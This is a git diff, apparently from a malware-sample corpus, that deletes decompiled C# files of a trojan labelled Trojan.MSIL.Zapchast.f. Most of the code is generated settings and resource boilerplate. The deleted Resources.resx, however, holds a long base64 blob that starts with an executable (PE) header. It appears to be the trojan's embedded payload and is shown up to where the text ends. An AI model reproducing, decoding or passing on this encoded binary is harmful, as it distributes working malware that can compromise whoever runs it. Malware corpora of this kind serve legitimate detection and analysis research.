Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace XqNvNTCMcR.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettingsProperty.cs deleted file mode 100644 index 60b95032..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.MySettingsProperty -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace XqNvNTCMcR.My -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [HideModuleName] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/Resources/Resources.cs deleted file mode 100644 index 712101aa..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/Resources/Resources.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.Resources.Resources -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace XqNvNTCMcR.My.Resources -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) XqNvNTCMcR.My.Resources.Resources.resourceMan, (object) null)) - XqNvNTCMcR.My.Resources.Resources.resourceMan = new ResourceManager("XqNvNTCMcR.Resources", typeof (XqNvNTCMcR.My.Resources.Resources).Assembly); - return XqNvNTCMcR.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => XqNvNTCMcR.My.Resources.Resources.resourceCulture; - set => XqNvNTCMcR.My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] Function1 => (byte[]) RuntimeHelpers.GetObjectValue(XqNvNTCMcR.My.Resources.Resources.ResourceManager.GetObject(nameof (Function1), XqNvNTCMcR.My.Resources.Resources.resourceCulture)); - - internal static Bitmap winows7___2_ => (Bitmap) RuntimeHelpers.GetObjectValue(XqNvNTCMcR.My.Resources.Resources.ResourceManager.GetObject(nameof (winows7___2_), XqNvNTCMcR.My.Resources.Resources.resourceCulture)); - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Resources.resx b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Resources.resx deleted file mode 100644 index 171dbb93..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Resources.resx +++ /dev/null @@ -1,470 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - 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 - AAERCm9NAAAGJiArVsBZKA0AAAYoNQAABiCEV8BZKA0AAAYoNQAABigKAAArEwsRCxEHF48oAAABcSgA - AAFvSQAABibdGwAAAChcAAAKFgooXQAACt0RAAAAKF0AAArdAAAAABcKOAAAAAAGKgAAAEE0AAAAAAAA - BgAAAF0AAABjAAAAGQAAACIAAAEAAAAAAAAAAEUEAABFBAAAGwAAACIAAAETMAIAOgAAABYAABEoaAAA - CgIoaQAACm9qAAAKCyhoAAAKByhpAAAKb2oAAAoMKGgAAAoIKGkAAApvagAACgo4AAAAAAYqAABWc1cA - AAYoawAACnQdAAACgBIAAAQqAAAeAihsAAAKKhMwAQANAAAABQAAEX4SAAAECjgAAAAABioAAAC0AAAA - zsrvvgEAAACRAAAAbFN5c3RlbS5SZXNvdXJjZXMuUmVzb3VyY2VSZWFkZXIsIG1zY29ybGliLCBWZXJz - aW9uPTIuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4 - OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNldAIAAAAAAAAAAAAAAFBBRFBBRFC0AAAA - OAIAAHK3MzJYxWX3zT4ers+aI+jxGZU196pbtCMWa6xGl+4gWjEpAUBO5pzflGer4loGedbpJk5K0Fpf - F+fNPh7H0u3of9Qm0066X6OVzT4ePch2KC3x1Nz4PSNVSPGYzT4eFAieOnKGOkfXYm3+gDP1hEhlelwH - mqetC5sYh80+How6gJy80CXbcWVY3zqsBX9l6WBrCTXpgMOLZtpnA5qMwgcNKaZn8LOdl7tSzT4eJaWp - cmkH7ayXyyfzvUkEVS52xgQAWMPyHeLhhSZrf2Z9XXvRFTX/vIJvGTNKFacRzT4empZMeHIzNjjF5Z3g - 5RtfMfiTchDNPh7Sg3aBJwn6YIGoHu3tekxd+gdS2B2WbOo8cd5kvdARiZxEAxSxUBYLDd/YBAUpkuD4 - wwZOCphgYLNWNNvMPh6lGeRjdOY8J6BgfopNHMvMdO6ZRgagrjFWp45PdcgC6iP5HTMhRYAwU40SY/mn - mpLMPh5VTYqBqzKx2MIua6zP4UgqQuDeCmeD06Rzp2iP/MVUeIs/u8lum2Hp42M5Zcw+HqZLlZlx71MM - FgIVzQ7MMyyFFtTp18/VGdM9ZtBzSWID2l7WXBERuOdhNyq2XICgMMw+Hp3f5C38ULQJ0L5lCps0BMXj - 16DHsUi2VU1Ni6Wa3KJIDOcCblBn2wIdhM9pbVuND8w+HnB+5I9s5fGqoClBuf4zvnFOgxHJ6zqWn/EW - VJfdpU8i+G151c8+HgWJto1c4ClJces4rTJp8XLTnOBCU0pCAQABAAAAAAAMAAAAdjIuMC41MDcyNwAA - AAAFAGwAAACMEQAAI34AAPgRAACwDQAAI1N0cmluZ3MAAAAAqB8AABAAAAAjR1VJRAAAALgfAACMBgAA - I0Jsb2IAAABEJgAAJAAAACNVUwAAAAAAAgAAAVc1oh0JDwAAAPoBMwACAAABAAAATQAAAB0AAAASAAAA - WAAAAIcAAABsAAAANgAAAAgAAAAWAAAAAQAAAAEAAAABAAAAAQAAAAoAAAACAAAAAQAAAAMAAAACAAAA - EgAAAAQAAAAKAAAAAAALAAEAAAAAAAoAjgCeAAoAyACeAAoAzQDZAAoAAAHZAAoAGAEhAQoAPwEhAQoA - TgEiAAoAZgEiAAoAgQGRAQoAsgHBAQYA6wE4AAYA9QE4AAYA+wE4AAYACQI4AAYAFgI4AAYAHgI4AAYA - JQI4AAYAKgI4AA4ALwJGAgYAXgJrAgYAhgJrAgYAlAJrAg4AmwK0Ag4AygK0Ag4A3wL3Ag4ADAP3AgYA - GQM4AAYAIQM4AAYAKgNCAwYAVQNCAwYAcgNCAwYAfQNCAwYAiAM4AAYAlAM4AAYAngOqAwYAvwM4AAYA - zAM4AAYA0gM4AAYA2AM4AAYA3gM4AAYA5QPyAwYA/APyAwYAAQTyAwYABgTyAwYADQQ4AAYAHwQ4AAYA - JgQvBAYAQQQvBAYAWgQvBAYAdQQvBAYAkgQvBAYArwQvBAYAvAQvBAYA1QQvBAYA7AQvBAYABwUvBAYA - EgUvBAYAHQUtBQYAPgVeBQYAfgVeBQYAmQVeBQYAtwVeBQYAxgVeBQYA3gXyBQYAEQbyBQYAHwbyBQYA - JwY4AAYAOwY4AAYATQY4AAYAVAZdBgYAaQZdBgYAdwZ/BgYAkAY4AAYAlQY4AAYAnAY4AAYAowY4AAYA - qgY4AAAAAACvBgAAAAABAAEAAAEAALgGAAAFAAEAAQAAAQAAugYAABUAAQACAAABEAC8BgAAuQABAAMA - AAEAAL4GAAC5AAUACAAAAQAAwAYAALkABQAJAIABEADCBgAAuQAHAAwAgAEQAMQGAAC5AA4ADwCAARAA - xgYAALkADgAQAAMBEAC4BgAAuQAPABUAgwEQALoGAAC5ABEAGAADARAAvAYAALkAEQAbAAMBEAC+BgAA - uQARAB0AAwEQAMAGAAC5ABEAHwADARAAwgYAALkAEQAhAAMBEADEBgAAuQARACMAAwEQAMYGAAC5ABEA - JQAFAQAAuAYAALkAEQAnAAUBAAC6BgAAuQARAC4AAQAAAMsGAQC5ABIAMAACAQAA0AYAALUAEgA2AAIB - AADjBgAAtQASADoAAgEAAPUGAAC1ABIAPgACAQAACAcAALUAEgBCAAIBAAAZBwAAtQASAEYAAgEAACsH - AAC1ABIASgACAQAAPwcAALUAEgBOAAIBAABQBwAAtQASAFIAAAEQAGMHbgdlABIAVgAxALgGFwAxALoG - HwAxALwGJwAxAMAGLwARALgGVAARALoGWQAxALgGcQARALoGeQARALwGfgARAMAGggARAL4GhQARAMIG - fgARAMQGhQARALgGnwABALgGhQABALoGhQAhALgG6AARAO4K5gFQIAAAAAAGGHsHEwABAFggAAAAAAYY - ewcTAAEAYCAAAAAAERiBBzcAAQCMIAAAAAATALgGOwABAKwgAAAAABMAuAZAAAEAzCAAAAAAEwC4BkUA - AQDsIAAAAAATALgGSgABAAwhAAAAABMAuAZPAAEAKCEAAAAAEwC4Bl4AAQB4IQAAAAATALgGZAABAJQh - AAAAABMAuAZqAAEAnCEAAAAAkRiBBzcAAgCsIQAACACTALgGiAACAEAnAAAAAJEAuAaNAAMA8CcAAAAA - lgC4BpYABgB4KAAAAACRGIEHNwAIAIQoAAAIAJMAuAajAAgAgCoAAAgAkQC4BqcACACQKgAACACRALoG - pwAIAAgrAAAAAJEAuAarAAgAECsAAAAAgxh7BxMACQAgKwAACACDALgGsgAJAFAsAAAIAIMAuAa2AAkA - YC0AAAAAkwC4BrsACgB4LQAAAACTALoGuwAMAJwtAAAAAJMAvAa7AA4AtC0AAAAAhhh7BxMAEAC8LQAA - CACTALgGwQAQADQuAAAAAIYYewcTABAAPC4AAAgAkwC4BsEAEADELgAAAACGGHsHEwAQAMwuAAAIAJMA - 